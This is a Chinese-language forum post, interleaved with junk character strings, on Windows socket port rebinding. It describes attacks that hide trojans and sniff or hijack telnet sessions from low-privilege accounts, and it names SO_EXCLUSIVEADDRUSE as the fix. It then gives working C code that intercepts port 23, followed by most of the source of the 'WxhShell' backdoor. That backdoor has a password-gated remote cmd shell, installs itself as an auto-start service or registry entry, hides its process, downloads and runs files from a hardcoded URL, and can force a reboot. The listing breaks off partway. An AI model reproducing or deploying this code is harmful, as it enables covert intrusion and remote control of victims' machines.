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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eq(Xzh s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q?"-[6[v XF=GmkO saddr.sin_family = AF_INET; +pMjm&CF Fm,}sP"Qx saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xh*p\ $ n]]!:jFC bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kk t9M\ -f!oq7U 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +ziQ]r2g {8as _ 这意味着什么?意味着可以进行如下的攻击: kTe0" i~04 P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~e@pL*s +w'{I`QIL0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jhmWwT/O8^ *[?DnF+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n^m6m%J) M.QXwIT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _O*"_^6 @vcvte 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tl ?]K U3zwC5}BN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \%ZF<sVW p"XQJUuD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .Lc<1s i'}Z>g5D #include (HZzA7eph #include V3]"ROH #include F6xQ`T| #include hc4W|Ofj DWORD WINAPI ClientThread(LPVOID lpParam); ND|!U#wMNV int main() DTw3$: { 3%$nRP
X WORD wVersionRequested; 0W1=9+c|X DWORD ret; |( =`l WSADATA wsaData; .5PcprE/ BOOL val; #[a+m SOCKADDR_IN saddr; nS}XY SOCKADDR_IN scaddr; (8*& 42W int err; <Hq|<^_K SOCKET s; utz!ElzA SOCKET sc; ^KsiTVY int caddsize; =os%22* HANDLE mt; qq+fUfB2: DWORD tid; 3B<$6 wVersionRequested = MAKEWORD( 2, 2 ); v!pT!(h4 err = WSAStartup( wVersionRequested, &wsaData ); h6dVT9 if ( err != 0 ) { TCd1JF0 printf("error!WSAStartup failed!\n"); N?'V,p
0= return -1; M8, W|eTM } -H%806NAX7 saddr.sin_family = AF_INET; uK`T1*_ p6yC1\U!o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'RlPj0Cg
4D`T_l saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o!3 -=<^ saddr.sin_port = htons(23); d2x|PpmH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~8-Z=- { )bqfj>%#c printf("error!socket failed!\n"); pOCLyM9c return -1; >!OD[9 } ^fLePsmd val = TRUE; z~/z>_y$nv //SO_REUSEADDR选项就是可以实现端口重绑定的 =-`}(b2N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $f-f0t' { @}K'Ic printf("error!setsockopt failed!\n"); +oZq~2?*S6 return -1; pr8eRV!x } `5[d9z/ 6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *v[WJ"8@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 krPwFp2[* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'b#`8k~> 0Ii*
"?s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [lpzUB}<Yp { u=h:d+rq@ ret=GetLastError(); + RX{ printf("error!bind failed!\n"); [V ~(7U return -1; {H+~4XG } oZxC.;xJ listen(s,2); MO+g*N while(1) Gpws_jw { _\YBB=Os caddsize = sizeof(scaddr); |1zoT|}q //接受连接请求 N/QTf1$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V,<3uQD9a if(sc!=INVALID_SOCKET) 37DyDzW)' { )UA};Fus mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =B g if(mt==NULL) =EI>@Y" { cXiNO
ke& printf("Thread Creat Failed!\n"); 6]yYiz2Xn break; rmS.$h@7 m } XBE+O7 } `0Y`]kSY+ CloseHandle(mt);
CM+Nm(|\, } K,{P
b? closesocket(s); >J+'hm@ WSACleanup(); F.2<G.9 return 0; 3 f=_F } hI.@!$~= DWORD WINAPI ClientThread(LPVOID lpParam) { O+d7,C { k%|7H,7 SOCKET ss = (SOCKET)lpParam; @> n7 SOCKET sc; A)9OkLrc unsigned char buf[4096]; od=%8z SOCKADDR_IN saddr; `yYo Vu* long num; F?#^wm5TZ DWORD val; ]hNio6CVm DWORD ret; P;_}nbB //如果是隐藏端口应用的话,可以在此处加一些判断 "mlVs/nsyG //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 !n9H[QP^9 saddr.sin_family = AF_INET; b&[bfM< saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G`H4#@] saddr.sin_port = htons(23); >yk@t&j, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VfWU-lJ { 72uARF printf("error!socket failed!\n"); g\_J return -1; }LK +w+h~ } Qh*"B val = 100; >&pB&'A a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D6X0(pU0 { AA=zDB<N ret = GetLastError(); []^fb,5a return -1; <'WS -P%U } M_
* KA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S7i,oP7 { 8EbJ5wu/%S ret = GetLastError(); ?|4Y(0N return -1; %gBulvg } w[ )97d if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,#n$YT7 { N@}5Fnk- printf("error!socket connect failed!\n"); 90g=&O5@O closesocket(sc); <}Hfu-PLo closesocket(ss); 1jHugss9| return -1; p>Z18 } CMu/n]?c while(1) tqok.h { .J=<E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a -[:RJW //如果是嗅探内容的话,可以再此处进行内容分析和记录 |q+3X)Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -hy`Np num = recv(ss,buf,4096,0); #bIUO2yVo if(num>0) eMT}"u8$A send(sc,buf,num,0); ZMp5d4y5 else if(num==0) A^L8" break; Y8i'=Po%, num = recv(sc,buf,4096,0); 9Rf})$o+ if(num>0) #_(t46 send(ss,buf,num,0); @%"+;D else if(num==0) 3lh^maQ] break; M\m6|P } ,a6Oi=+>/U closesocket(ss); b=87k closesocket(sc); 9nGS"E l{ return 0 ; PiL[&_8g } `8x.Mv ^RIDC/B=V6 0,{tBo ========================================================== itU
P% K^6fg,& 下边附上一个代码,,WXhSHELL {zNFp#z ta ========================================================== 5w9oMM{ .&Ik(792Z& #include "stdafx.h" ;NoD4* ABG>W>H-S #include <stdio.h> +$CO #include <string.h> 6s<w}O #include <windows.h> Au"7w=G`f #include <winsock2.h> iJaA&z5sr #include <winsvc.h> h.t2 ;O, b #include <urlmon.h> e0e3b] a +lTAe #pragma comment (lib, "Ws2_32.lib") 1RU+d.&D #pragma comment (lib, "urlmon.lib") - ]Mbe2; [g Y.h/ #define MAX_USER 100 // 最大客户端连接数 hsJS(qEh.' #define BUF_SOCK 200 // sock buffer u^X,ASkQ #define KEY_BUFF 255 // 输入 buffer -<Oy5N \L]T|]}( #define REBOOT 0 // 重启 0s2@z5bfX #define SHUTDOWN 1 // 关机 j"Y5j
B` "raC?H #define DEF_PORT 5000 // 监听端口 iS#m{1m$$ uzO3 _.4Y #define REG_LEN 16 // 注册表键长度 {!av3Pz\ #define SVC_LEN 80 // NT服务名长度 :G/.h[\R| :ySQ[AJ" // 从dll定义API TM*<hC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yS";
q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A1kqWhg\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Y@"!\t} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ynx.$$`$= iTpK:pX // wxhshell配置信息 s]@k,% struct WSCFG { <uL0M`u3 int ws_port; // 监听端口 R)u ${ char ws_passstr[REG_LEN]; // 口令 EwuBL6kN int ws_autoins; // 安装标记, 1=yes 0=no eT ZQ[qMp char ws_regname[REG_LEN]; // 注册表键名 lKA2~ o char ws_svcname[REG_LEN]; // 服务名 $@}\T char ws_svcdisp[SVC_LEN]; // 服务显示名 ZnXq+^Z4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 jPyhn8Vw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #h~v(Z} int ws_downexe; // 下载执行标记, 1=yes 0=no 'X]my char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 2I
qvd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %>)&QZig/ 1Zi(5S) }; W:XN! $/XR/ // default Wxhshell configuration rxM)SC;P struct WSCFG wscfg={DEF_PORT, 99mo]1_ "xuhuanlingzhe", @uzzyp r> 1, {S=gXIh(y "Wxhshell", ?:1)=I<A4 "Wxhshell", :eR[lR^4*
"WxhShell Service", N \Wd0b "Wrsky Windows CmdShell Service", 5^GFN*poig "Please Input Your Password: ", :1(UC}v 1, AfOq?V " http://www.wrsky.com/wxhshell.exe", wG2-,\: "Wxhshell.exe" {I~[a#^ }; y+D"LeCAad B$kp\yL // 消息定义模块 j9IeqlL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zd]2>h char *msg_ws_prompt="\n\r? for help\n\r#>"; i[M]d`<36 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; dtT2h>h9 char *msg_ws_ext="\n\rExit."; x[i Et%_ char *msg_ws_end="\n\rQuit."; xB&6f") char *msg_ws_boot="\n\rReboot..."; .wv!; char *msg_ws_poff="\n\rShutdown..."; va_TC!{; char *msg_ws_down="\n\rSave to "; W2([vRT B>TI dQ char *msg_ws_err="\n\rErr!"; .7EZB char *msg_ws_ok="\n\rOK!"; &ivPY }bxx]rDl char ExeFile[MAX_PATH]; `+go|
5N2 int nUser = 0; bAl0z)p HANDLE handles[MAX_USER]; GOeYw[Vh int OsIsNt; U~Ai'1?xz $={WtR SERVICE_STATUS serviceStatus; [va7+=[1= SERVICE_STATUS_HANDLE hServiceStatusHandle; t <Z)D0. hm5A@Z // 函数声明 }hjJt,m int Install(void); ^-'t`mRl]d int Uninstall(void); 0Q_@2 int DownloadFile(char *sURL, SOCKET wsh); nPj/C7j int Boot(int flag); 0- 'f1 1S void HideProc(void); Hx]{'? int GetOsVer(void); ?-e'gC int Wxhshell(SOCKET wsl); b@&ydgmaQ void TalkWithClient(void *cs); 43?J~}<Vs int CmdShell(SOCKET sock); +J~q:b. int StartFromService(void); XS'0fq a int StartWxhshell(LPSTR lpCmdLine); 8/|~E oQvG3(. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
xedbr VOID WINAPI NTServiceHandler( DWORD fdwControl ); /N>bEr4w 3C8W]yw/s // 数据结构和表定义 t/baze;V SERVICE_TABLE_ENTRY DispatchTable[] = s: .5S { Y_)aoRjB {wscfg.ws_svcname, NTServiceMain}, zFtw Aa =r {NULL, NULL} X[cSmkp7 }; gl4|D CbA2?( 1o1 // 自我安装 $ZPiM int Install(void) 5 ^\f[} { QzQTE-SQ char svExeFile[MAX_PATH]; :_qgpE< HKEY key; |Gw[vY strcpy(svExeFile,ExeFile); z
<"7vR Q.Kr;64G // 如果是win9x系统,修改注册表设为自启动 |
ZI ~#V if(!OsIsNt) { BlVk?n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4^KoHeM6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ve#cz2Z RegCloseKey(key); SRN:!- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oK GF Dl]3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A;sd rA RegCloseKey(key); 2wWL]`(E return 0; t:X[Blw3$ } GLe(?\Ug= } *mM+(]8US } H>-?/H else { {V!Jj6n =#i#IF42? // 如果是NT以上系统,安装为系统服务 6NCa=9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #lax0IYY= if (schSCManager!=0) {Y9m;b,X { yiUJ!m SC_HANDLE schService = CreateService 62}bs/% ( ?wps_XU schSCManager, V 'Gi2gNaP wscfg.ws_svcname, '"5"$)7 wscfg.ws_svcdisp, .~a) SERVICE_ALL_ACCESS, Y962rZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a$MMp= p SERVICE_AUTO_START,
]D7z&h SERVICE_ERROR_NORMAL, Osb"$8im svExeFile, (~TP NULL, g
S;p:: NULL, 4];Qpln NULL, /n7F]Ok'* NULL, ij6M E6 NULL jow^~ ); :&`Yz
if (schService!=0) `^s(r>2 { WjGv%^? CloseServiceHandle(schService); sm}v0V.Js CloseServiceHandle(schSCManager); U<eVLfSij strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {R[lsdH(X strcat(svExeFile,wscfg.ws_svcname); -,96Qg4vI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @6i^wC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); doXd6q4H RegCloseKey(key); <P( K,L?r return 0; 6(oGU4 } P]+^^U } gsc*![N CloseServiceHandle(schSCManager); f+s'.z% } <HG~#oBRq } ekP=/;T#S .F)b9d[? return 1; Q=gVxS } Z|d_G} e\.|d<N? // 自我卸载 622mNY int Uninstall(void) xVKx#X9yk { X!,Ngmw. HKEY key; +U+c]Xgt KE YM@,' if(!OsIsNt) { +zs;>'Sf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5.VA1 RegDeleteValue(key,wscfg.ws_regname); zv#i\8h^p RegCloseKey(key); GFlsI-*` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C(iA G RegDeleteValue(key,wscfg.ws_regname); wGISb\rr RegCloseKey(key); \s<iM2]Kl return 0; m^T$H_*; } v1 oS f } Ks
X@e)8u } 'L3 \ I else { [rPW@|^5 ])~*)I~Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2HQ'iEu$ if (schSCManager!=0) %F&j B { `?=AgGg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +-ieaF if (schService!=0) uLhamE) { c
q3CN@ if(DeleteService(schService)!=0) { $!obpZ~ } CloseServiceHandle(schService); rM bb%d: CloseServiceHandle(schSCManager); r*+9<8-ZX< return 0; [(btpWxb^ } KDQux CloseServiceHandle(schService); S~Q7>oNm } KM0#M'dXy CloseServiceHandle(schSCManager); 4f"be } ItOVx!"@9 } 6Mk@,\1 #M`ijN!Y return 1; "_#%W
oo } }E/L: N.-Ryj&9 // 从指定url下载文件 ZQ20IY|, int DownloadFile(char *sURL, SOCKET wsh) 5YC(gv3/ { %],.?TS2V HRESULT hr; ZibHT:n char seps[]= "/"; :hJhEQH(9 char *token; 6f1;4Jfp char *file; oY.JK char myURL[MAX_PATH]; PCaa_
2 char myFILE[MAX_PATH]; gXw\_ue< ~}ewna/2 strcpy(myURL,sURL); 0|GxOzNd token=strtok(myURL,seps); Nr(WbD[T while(token!=NULL) UZ](X/ { Q?1 KxD! file=token; 3`e1:`Hu token=strtok(NULL,seps); sgB3i`_M } >T!n* -Zn 0IA
'8_K GetCurrentDirectory(MAX_PATH,myFILE); i:[B#|% strcat(myFILE, "\\");
dc5B# strcat(myFILE, file); MESQAsx% send(wsh,myFILE,strlen(myFILE),0); wk5a &
send(wsh,"...",3,0); #K)HuT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hss{Sb( if(hr==S_OK) ?_tOqh@in return 0; ?2=c'%w7 else nK96A.B%p return 1; R/^ rh UNhD } k2;8~LqF ~;`i&s // 系统电源模块 4< H-ol int Boot(int flag) z+\>e~U6J} { &<> A HANDLE hToken; (ZI&'"H TOKEN_PRIVILEGES tkp; H+: $ 7; Y5n pz^i if(OsIsNt) { 'Klz`)F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R0=/
Th - LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tw`l4S& tkp.PrivilegeCount = 1; [%h^qJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; je{5iIr3/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i2!{.*. if(flag==REBOOT) { ?=T&|pp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sP&E{{<QTF return 0; ^#Z(&/5f0 } uC}YKT>V7 else { x)GoxH~# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |LjCtm)@+ return 0; HmiwpI } U{_O=S u } :g\qj? o else { r%a$u%)oD if(flag==REBOOT) { ]O \6.>H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5&xvY.!27V return 0; "?il07+w% } ]pGr'T~Gj else { hFjW.~B if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~/.&Z`ls return 0; Xgl>kJy<# } '1{~y3 } (;M"'.C 5QT9 return 1; gGX/p6" } yZ P+ Ay_<?F+& // win9x进程隐藏模块 QJTC@o void HideProc(void) 5eU/ [F9 { 9Z* vp^3 OkQSqL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l&yR-FJ7KY if ( hKernel != NULL ) L\B+j+~ { yQW\0&a$
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [_~U<
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8[Qw8z5- FreeLibrary(hKernel); A<Na,EC } '(Bs<)(H ?L
$KlF Y return; b6i0_fOO } COT;KC6
n 'X?`+2wK
// 获取操作系统版本 [ wROIvV int GetOsVer(void) sM4wh_lO { r9%W?fEBp OSVERSIONINFO winfo; );6zV_^! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fivv#4YO GetVersionEx(&winfo); Md~mI8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
78Gvc~j return 1; qB&*"gf else ^\CQWgY( return 0; s)N1@RBR } #Q{6/{bM&J ,aN/``j= // 客户端句柄模块 k-89( int Wxhshell(SOCKET wsl) pUPb+:^R { JE j+> SOCKET wsh; toCN{[ struct sockaddr_in client; 7!%cKZCY DWORD myID; s4Wk2*7Mq 15zL,yo while(nUser<MAX_USER) X=JSqO6V9 { =thgNMDm" int nSize=sizeof(client); tSm|U<
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p$ko=fo-*_ if(wsh==INVALID_SOCKET) return 1; -r,J>2`l "qF&%r' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v-l):TL+= if(handles[nUser]==0) A>PM'$"sT closesocket(wsh); &o8\ $A else H"-p^liw nUser++; lf Giw^ } S<>e(x3g] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,wq.C6;& A$oYw(m# return 0; T&!>lqU!J } &
IDF9B fb#Ob0H // 关闭 socket L7KHs'c* void CloseIt(SOCKET wsh) /,;9hx { fg,~[%1 closesocket(wsh); k}BNFv8 nUser--; pa+y(!G ExitThread(0); nyMA%9,B } p<![JeV "+rX*~ // 客户端请求句柄 rbJ-vEzo.# void TalkWithClient(void *cs) NZD
X93 { :H?p^d
e bFTWuM SOCKET wsh=(SOCKET)cs; 51rM6
BT char pwd[SVC_LEN]; ypml22)kz char cmd[KEY_BUFF]; O|OPdD char chr[1]; 8RocObY_W int i,j; N.VzA
6C ikY=} while (nUser < MAX_USER) { mG2}JWA
rL%xl,cn< if(wscfg.ws_passstr) { 8Mp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mB!81%f%| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nGP>M#F //ZeroMemory(pwd,KEY_BUFF); Gud!(5' i=0; =|jOio=s: while(i<SVC_LEN) { V^f'4*~' #S1)n[ // 设置超时 fCTjTlh fd_set FdRead; on(W^ocnD struct timeval TimeOut; L
~ FD_ZERO(&FdRead); kp0>8rkF FD_SET(wsh,&FdRead); +}:c+Z< TimeOut.tv_sec=8; ~=c#Ff=Z TimeOut.tv_usec=0; 1&m08dZm5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iPs()IN.O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jOe %_R d$>1 2>> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "r|O / pwd =chr[0]; Et7AAV*8g if(chr[0]==0xd || chr[0]==0xa) { ]r#tJT`M pwd=0; #ocT4 break; KR z\ct| } , X|oCD i++; N($j;<Q } zZA I"\;W 1ra}^H} // 如果是非法用户,关闭 socket ]zD/W%c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D'</eJ } M.t5,NJ 5[I9/4, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TpnkJygIm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =JEnK_@?K\ !ZB|GLpo6 while(1) { mjH8q&szf 2O4UytN ZeroMemory(cmd,KEY_BUFF); 6g<JPc ##FN0|e& // 自动支持客户端 telnet标准 O/Da8#S< j=0; *X,vu2(I-= while(j<KEY_BUFF) { rYc?y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _hXadLt cmd[j]=chr[0]; Amz7j8zJ if(chr[0]==0xa || chr[0]==0xd) { kkqrlJO| cmd[j]=0; |~'{ [?a* break; 3"q%-M|+Q } om@` NW j++; %M ~X:A;4 } jp2l}C U4Qc$&j> // 下载文件 )LnHm if(strstr(cmd,"http://")) { eZf-i1lJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); +-xA/nU.c if(DownloadFile(cmd,wsh)) $yOfqr send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Ol*"F.+I else e}7qZ^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pcL02W|J } G!%1<SLi. else { vsLn@k3 /I: d<A switch(cmd[0]) { u\>Ed9^ 8qt|2% // 帮助 O4(
Z%YBe case '?': { F*hs3b0Db send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !sfUrUu break; Qx$Yj } Z @j0J[s // 安装 U9kt7#@FDK case 'i': { fz,8 < if(Install()) H@OYtPHGR send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~I2IgEj>] else bCc^)o/w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?6~RGg break; 3"&6rdF\jB } q!}&<w~| // 卸载 5Ss=z case 'r': { FWPkvL if(Uninstall()) YAd.i@^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ac]&N d` else }1epn#O_4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5LXK#+Z break; Zj!S('hSY } BL,YJM(y // 显示 wxhshell 所在路径 yQ6{-:`) case 'p': { f+ J<sk char svExeFile[MAX_PATH]; CEZ*a 0}= strcpy(svExeFile,"\n\r"); O:#t>
; strcat(svExeFile,ExeFile); l$MX\ send(wsh,svExeFile,strlen(svExeFile),0); .(nq"&u-* break; Ow mI*` } =<R77rnY& // 重启 efRa|7!HK case 'b': { F5{~2~Cw( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3E:wyf)i" if(Boot(REBOOT)) T3+hxS send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0;r+E*`DA else { ^vJ08gu_W closesocket(wsh); (9@6M8A ExitThread(0); x)nBy)< } % e:VeP~ break; u!X[xe; } &2#<6=} // 关机 Vg&`f case 'd': { o+q4Vg9& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;]+kC if(Boot(SHUTDOWN)) ;sCX_`t0E send(wsh,msg_ws_err,strlen(msg_ws_err),0); V'\4sPt else { {_KuztJGA closesocket(wsh); 4?1Ac7bE ExitThread(0); nD!C9G#oS } v)4 kS break; +TA(crD } u*}6)=+: // 获取shell XNd:x{ case 's': { |]Pigi7y- CmdShell(wsh); PBR+NHrZ closesocket(wsh); Vr`UF0_3q ExitThread(0); rOS fDv break; j+PW9>Uh } !\RR UH* // 退出 ps_CQh0 case 'x': { h9&<-k send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %`-NWAXL CloseIt(wsh); !V7VM_}@Y break; "?}QwtUW } Xl@nv9m // 离开 pcoJ\&&W case 'q': { 2m/1:5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); X7Cou6r closesocket(wsh); z| i$eF;x3 WSACleanup(); f+1)Ju~ exit(1); wC..LdSR break; ^5QSV\X } (~zdS. } =HYMX"s } <),FI <~ Q3_ia5 `O // 提示信息 64hr|v if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &.K=,+0_R/ } v=iz*2+X } !> ,Es5PmV@$% return; ?v8B;="#w } a:H}c9$% /XtxgO\T. // shell模块句柄 qf(!3 int CmdShell(SOCKET sock) ZWh:&e( { #0hX)7(j STARTUPINFO si; :X,1KR ZeroMemory(&si,sizeof(si)); gy_n=jhi+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N}pE{~Y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c
R[DT04 PROCESS_INFORMATION ProcessInfo; ~^KemwogPN char cmdline[]="cmd"; b"/P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wNcf7/ky return 0; 6 @'v6 1' } 'FO^VJ;ha +f;z{)%B // 自身启动模式 $l 0^2o= int StartFromService(void) ^Me__Y { Rb',"` 7 typedef struct G'#a&6 { W5HC7o\4 DWORD ExitStatus; !pQQkZol DWORD PebBaseAddress; 2{|
U DWORD AffinityMask; {CYFM[V DWORD BasePriority; 1g^N7YF ULONG UniqueProcessId; EX|Wd|aK ULONG InheritedFromUniqueProcessId; AdKv!Ta5b } PROCESS_BASIC_INFORMATION; G %Wjtrpj wRi!eN? PROCNTQSIP NtQueryInformationProcess; ,M5zhp$ 8! pfy" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5ju\!Re3X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rcY[jF #zZQ@+5zw HANDLE hProcess; bX=A77 PROCESS_BASIC_INFORMATION pbi; 118A6qyi r@/+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qI5_@[S* if(NULL == hInst ) return 0; TO-[6Pq# E}b"
